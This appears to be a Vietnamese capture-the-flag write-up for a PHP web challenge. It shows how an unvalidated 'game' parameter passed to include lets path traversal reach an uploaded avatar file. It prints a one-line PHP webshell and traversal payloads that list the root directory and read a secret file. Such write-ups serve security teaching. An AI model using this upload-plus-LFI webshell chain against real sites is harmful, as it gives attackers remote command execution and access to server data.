HAPPY FLAPPY BlRD (LFI VUL)

HAPPY FLAPPY BlRD (LFI VUL)

Ta nhập tên vào để tạo một account, lưu ý tên của account cũng có thể là một loại untrusted data nếu không được validate, ở đây ta thử đặt tên là <h1> Haha </h1> để kiểm tra lỗ hổng HTML injection

Ở đây thì ta bị chặn bởi Pattern regex, tên phải chỉ bao gồm chữ cái thương và số, ta đặt tên là oga312

Game này gồm 3 chức năng chính

+ Hall of fame: hiển thị bảng xếp hạng của người chơi.

+ Game: khu vực bắt đầu trò chơi.

+ Profile: chức năng cập nhật ảnh đại diện người chơi.

Sau khi chơi game được một số điểm thì điểm sẽ được cập nhật ở Hall of fame

Ta sẽ test chức năng cập nhật ảnh đại diện người chơi xem thử có bị lỗ hổng file upload không, ta sẽ thử upload một file php với nội dung là <?php phpinfo(); ?> để kiểm tra websites sẽ xử lý như thế nào với file có đuôi php này

Vậy websites này không ngăn chặn việc upload các file có đuôi là php, địa chỉ của file này được lưu ở /upload/oga312/avatar.jpg , tên file đã được thay đổi trước khi được upload lên server

$response = "";
  if (isset($_FILES["fileUpload"])) {
    // Always store as avatar.jpg
    move_uploaded_file($_FILES["fileUpload"]["tmp_name"], "/var/www/html/upload/" . $_SESSION["name"] . "/avatar.jpg");
    $response = "Success";
  }

Tuy nhiên khi truy cập để xem file này thì nó không thực thi code php mà xử lý code php như một chuỗi thông thường

Quay lại với chức năng game, nếu để ý ở phần URL thì có một param ?game= fatty-bird-1.html, ta thử đổi game= fatty-bird-2.html thì cho kết quả như sau:

Ta check qua source code của challenge

<?php
    include './db.php';
    // if is not login
    if (!isset($_SESSION['name'])) {
        header('Location: /register.php');
        die();
    }
    if (isset($_POST["points"])) {
        $points = intval($_POST["points"]);
        $db->update_point($_SESSION['name'], $points);
        header('Content-Type: application/json');
        echo "Successfully update points";
        die();
    }

    if (!isset($_GET['game'])) {
        header('Location: /game.php?game=fatty-bird-1.html');
        die();
    }
---------->    $game = $_GET['game'];  <-------------
?>
<!DOCTYPE html>
<html lang="en">
    <head>
        <?php include './views/header.html'; ?>
    </head>

    <body>
        <script>
            function submitPoint(points) {
                fetch("/game.php", {
                    method: "POST",
                    credentials: 'same-origin',
                    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
                    body: `points=${points}`,
                }).then(resp => resp.text()).then(t => alert(t));
            }
        </script>
        <?php include './navbar.php'; ?>
        <br><br><br>

        <br>
        <div style="background-color: white; padding: 20px;">
------------->    <?php include './views/' . $game; ?> <-----------------
        </div>

    </body>
</html>

Biến $game trong PHP được gán bằng giá trị của tham số game từ URL thông qua phương thức GET mà không hề thông qua bất kỳ cơ chế sàng lọc nào, và include là một hàm nguy hiểm khi đọc và thực thi code trong một file mà không quan tâm đuôi file đó là gì

Kết hợp với việc ta hoàn toàn kiểm soát được nội dung file và biết được đường dẫn của file upload lên, ta có thể thực hiện Path Traversal để thao túng biến game trỏ đến địa chỉ của tập tin php mà đã đã upload
Đường dẫn của game có thể dự đoán là : /var/www/html/game/tengame
Đường dẫn của file upload là: /var/www/html/upload/ten_user/avatar.jpg
Ta thử với payload: ../upload/ten_user/avatar.jpg

Như vậy là chúng ta có thể thực thi được code php trên server và có thể chạy bất kì lệnh nào ta mong muốn. Ta sẽ upload một webshell đơn giản như sau để thực thi mã từ xa

<?php system($_GET['cmd']); ?>

Payload: ?game=../upload/ten_user/avatar.jpg&cmd = ls /

Payload: ?game=../upload/ten_user/avatar.jpg&cmd = cat /zzcbu1bdu1_secret.txt